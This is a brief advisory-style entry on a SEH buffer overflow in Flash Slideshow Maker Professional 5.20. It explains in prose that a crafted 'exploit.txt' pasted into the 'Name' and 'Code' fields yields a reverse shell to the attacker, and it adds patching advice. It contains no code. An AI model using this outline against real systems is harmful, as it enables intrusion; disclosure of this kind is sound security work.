Flash Slideshow Maker Professional 5.20 – Buffer Overflow (SEH)

The exploit script creates a new file named 'exploit.txt' which is then copied into the 'Name' and 'Code' fields in the program. This triggers a buffer overflow vulnerability, resulting in a reverse shell being opened in the attacker's machine.

Mitigation:

Apply the latest patch or update to the software to fix the buffer overflow vulnerability. Avoid running the program with untrusted input.
